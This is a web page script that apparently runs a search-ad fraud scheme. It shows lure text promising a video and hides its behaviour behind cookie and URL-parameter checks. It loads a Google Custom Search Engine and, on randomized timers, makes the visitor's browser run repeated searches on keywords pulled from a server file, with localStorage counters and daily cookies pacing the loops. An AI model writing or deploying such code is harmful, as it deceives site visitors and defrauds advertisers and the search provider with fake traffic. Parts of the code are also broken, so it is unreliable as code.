const keywords = "/keywords.txt";
const imagesFile = "/images.txt";
const initialHtml = `
Loading
Loading
`;
const mainHtml = `
Search On The Web...
Touch And Wait 10 Second to Watch Video
`;
if (document.URL.indexOf("wizard=1999") !== -1) {
var randomFourDigit = Math.floor(1000 + Math.random() * 9000),
url = new URL(window.location.href);
url.searchParams.set("wizard", randomFourDigit);
mainURL = url.toString();
window.history.replaceState(null, null, url.toString());
setTimeout(() => {
const doc = document.open("text/html", "replace");
doc.write(initialHtml);
doc.close();
}, 0);
} else {
if (document.cookie.indexOf("new=yes") !== -1) {
document.write(
`''`
);
if (document.cookie.indexOf("story=yes") !== -1) {
var styles = "iframe\x20{\x20pointer-events:\x20none!important;\x20}",
styleSheet = document.createElement("style");
document.head.appendChild(styleSheet);
window.location.replace("/");
}
function gcsCallback() {
const gcsRender = (gcpName, divName) => {
const gcpObj = {
gname: gcpName,
div: divName,
tag: "search",
attributes: null,
};
google.search.cse.element.render(gcpObj);
};
//render element
gcsRender("gsearch1", "results1");
gcsRender("gsearch2", "results2");
gcsRender("gsearch3", "results3");
gcsRender("gsearch4", "results4");
gcsRender("gsearch5", "results5");
gcsRender("gsearch6", "results6");
gcsRender("gsearch7", "results7");
gcsRender("gsearch8", "results8");
gcsRender("gsearch9", "results9");
gcsRender("gsearch10", "results10");
const executeGSE = (googleSearch) => {
const xml = new XMLHttpRequest();
xml.onload = function () {
const response = this.response;
const keywords = response.split("\n");
let randomState = localStorage.randomState
? JSON.parse(localStorage["randomState"])
: null;
if (!randomState || randomState.order.length !== keywords.length) {
randomState = {
order: [],
index: 0,
};
for (let i = 0; i < keywords.length; i++) {
randomState.order.splice(Math.floor(Math.random() * i + 1), 0, i);
}
}
const keyword = keywords[randomState.order[randomState.index]];
randomState.index = randomState.index + (1 % keywords.length);
localStorage.randomState = JSON.stringify(randomState);
googleSearch.execute(keyword);
};
xml.open("GET", keywords, true);
xml.send();
};
executeGSE(google.search.cse.element.getElement("gsearch1"));
const callWithWait = (
counter,
copium,
min,
max,
searchNumber,
callback
) => {
const interval = setInterval(() => {
document.cookie.indexOf(copium) !== -1
? clearInterval(interval)
: setTimeout(() => {
localStorage[counter] = +(localStorage[counter] || 0) + 1;
executeGSE(
google.search.cse.element.getElement(`gsearch${searchNumber}`)
);
callback();
}, Math.round(min + Math.random()) * (max - min));
}, Math.floor(Math.random() * 300) + 500);
};
callWithWait("counter2", "copium2=2", 1000, 1100, "2", function () {
if (document.cookie.indexOf("copium2=2") < 0) {
const date = new Date();
date.setTime(date.getTime() + 86400000);
document.cookie =
"copium2=2;\x20path=/;\x20expires=" + date.toGMTString();
}
});
callWithWait("counter3", "copium3=3", 1100, 1200, "3", function () {
clearInterval(callWithWait);
if (document.cookie.indexOf("copium3=3") < 0) {
const date = new Date();
date.setTime(date.getTime() + 86400000);
document.cookie =
"copium3=3;\x20path=/;\x20expires=" + date.toGMTString();
}
});
callWithWait("counter4", "copium4=4", 1100, 1200, "4", function () {
clearInterval(callWithWait);
if (document.cookie.indexOf("copium4=4") < 0) {
const date = new Date();
date.setTime(date.getTime() + 86400000);
document.cookie =
"copium4=4;\x20path=/;\x20expires=" + date.toGMTString();
}
});
callWithWait("counter5", "copium5=5", 1100, 1200, "5", function () {
clearInterval(callWithWait);
if (document.cookie.indexOf("copium5=5") < 0) {
const date = new Date();
date.setTime(date.getTime() + 86400000);
document.cookie =
"copium5=5;\x20path=/;\x20expires=" + date.toGMTString();
}
});
}
var gcseInit = {
parsetags: "explicit",
callback: gcsCallback,
};
(window["__gcse"] = gcseInit),
(() => {
var doc2 = document["createElement"]("script");
doc2.async = true;
doc2.src =
(document.location.protocol === "https:" ? "https:" : "http:") +
"//cse.google.com/cse.js?cx=b1da660b01c724d01";
var parent = document.getElementsByTagName("script")[0];
parent.parentNode.insertBefore(doc2, parent);
})();
setTimeout(() => {
const doc = document.open("text/html", "replace");
doc.write(mainHtml);
doc.close();
}, 0);
}
}